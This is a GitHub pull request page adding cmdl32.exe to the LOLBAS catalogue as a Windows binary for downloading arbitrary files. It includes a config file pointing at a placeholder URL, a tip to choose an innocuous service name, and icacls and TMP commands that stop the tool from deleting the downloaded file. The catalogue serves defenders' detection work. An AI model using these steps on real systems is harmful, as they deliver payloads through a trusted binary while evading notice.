

Product

Solutions

Resources

Open Source

Enterprise

Pricing

Search

Sign in

Sign up

LOLBAS-Project / LOLBAS

Public

Notifications

Fork991

Star7.1k

<> Code

Issues20

Pull requests20

Actions

Projects

Security

Insights

Create cmdl32.yml #151

New issue

Merged

api0cradle merged 2 commits into LOLBAS-Project:master from ElliotKillick:cmdl32 on Oct 22, 2021

Conversation2

Commits2

Checks0

Files changed1

+26-0

ElliotKillick commented on Aug 28, 2021

Contributor

...

New lolbin for downloading arbitrary files: `cmdl32.exe`

Here is the necessary `config` file for the command specified in the YML file (note the command must give a full path to this file):

```
[Connection Manager]
CMSFile=config
ServiceName=WindowsUpdate
TunnelFile=config
[Settings]
UpdateUrl=https://example.com
```

You can change the file name to anything you want just make sure to also update the `*File` properties in the above profile section file. `ServiceName` can be changed to whatever you think sounds innocuous enough as long as it's not empty. And of course, the `UpdateUrl` is the web address to download from.

The only issue with this lolbin is that it deletes the downloaded file upon realizing it's not a `[VPN Servers]` profile section file in the format:

```
[VPN Servers]
...arbitrary data...
```

Luckily, the attempt at deletion by `cmdl32.exe` can be resisted by setting the folder being downloaded into (value of the `TMP` environment variable as is given by `GetTempPath()`) to deny delete permissions and inherit to all files in the folder:

```
mkdir download && cd download
icacls %cd% /deny %username%:(OI)(CI)(DE,DC)
set tmp=%cd%
cmdl32 /vpn /lan %cd%\config
```

You could technically also keep `TMP` as is, however, you would then have to change the permissions of the real `Temp` folder which could have undesired side effects.

I'm going to tweet out a screenshot of all of this in action and add it to the resources section of this submission. However, I wanted to explain in full and put the necessary files/commands here too for easy copy & pasting.

⌵

Create cmdl32.yml

Verified

0220788

api0cradle commented on Oct 22, 2021

Contributor

...

Thank you :-)

⌵

Update cmdl32.yml

Verified

fb9b6d6

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

3 participants

Page 1 of 2



api0cradle merged commit **5a62424** into `LOLBAS-Project:master` on Oct 22, 2021



0dayCTF commented on Apr 26, 2022



This is great, thank you :)

Sign up for free

to join this conversation on GitHub. Already have an account? [Sign in to](#)

[comment](#)



© 2024 GitHub, Inc.

[Terms](#)

[Privacy](#)

[Security](#)

[Status](#)

[Docs](#)

[Contact](#)

[Manage cookies](#)

[Do not share my personal information](#)